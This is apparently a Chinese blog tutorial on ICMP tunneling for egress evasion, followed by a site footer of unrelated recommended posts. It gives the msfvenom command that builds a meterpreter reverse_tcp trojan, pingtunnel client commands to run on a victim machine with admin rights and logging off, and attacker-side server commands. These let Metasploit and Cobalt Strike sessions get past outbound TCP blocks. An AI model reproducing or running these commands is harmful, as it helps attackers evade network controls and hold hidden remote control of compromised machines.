隧道技术-tcp封装icmp出网

1.背景:

目标出网限制tcp协议

2.msf木马转发上线

生成木马:msfvenom -p windows/meterpreter/reverse_tcp Lhost=127.0.0.1 LPORT=3333 -f exe > msf1.exe

受害机器管理员权限执行:

pingtunnel.exe -type client -l 127.0.0.1:3333 -s 192.168.3.195 -t 192.168.3.195:4444 -tcp 1 -noprint 1 -nolog 1

攻击机器执行:

./pingtunnel -type server

使用msf接受tcp协议木马会话

原理:

木马运行在受害主机使用本地3333端口连接,由tcp协议转换未icmp协议数据出网,由kali接收,并且再次转会tcp协议。

3.cs木马转发上线

cs创建监听器:

使用本地的127.0.0.1:9999tcp协议数据使用icmp封装传递给cs服务端。

cs服务端执行:./ping -type server

受害机器执行:

pingtunnel.exe -type client -l 127.0.0.1:9999-s csip -t csip:7777 -tcp 1 -noprint 1 -nolog 1、

相关推荐
珹洺2 分钟前
计算机网络:(二)计算机网络在我国发展与网络类别与性能 (附带图谱更好对比理解)
运维·服务器·网络·数据库·后端·计算机网络
慢功夫38 分钟前
💡如何使用SSE通信(Event-stream)
javascript·网络协议·面试
前端wchen39 分钟前
在 macOS 上轻松部署 Docker:详细安装与配置步骤
开发语言·网络·程序人生·macos·docker·mac·工具
安科瑞刘鸿鹏1 小时前
什么是故障电弧?故障电弧的危害该如何应对?
运维·网络·数据库·物联网
兴达易控2 小时前
怎样使用Modbus转Profinet网关连接USB转485模拟从站配置案例
网络协议
Koma_zhe2 小时前
【网站检测工具Web-Check】Web-Check本地部署与远程访问解决方案全面掌控网站状态
linux·服务器·网络
xcLeigh2 小时前
计算机网络基础:网络配置与管理
网络·计算机网络·php
charlie1145141912 小时前
计算机网络笔记再战——理解几个经典的协议HTTP章4
网络·笔记·网络协议·学习·计算机网络·http
忧虑的乌龟蛋2 小时前
HTTP请求方法详解:GET、POST、PUT在微信小程序中的应用
网络·网络协议·tcp/ip·http·get·post·put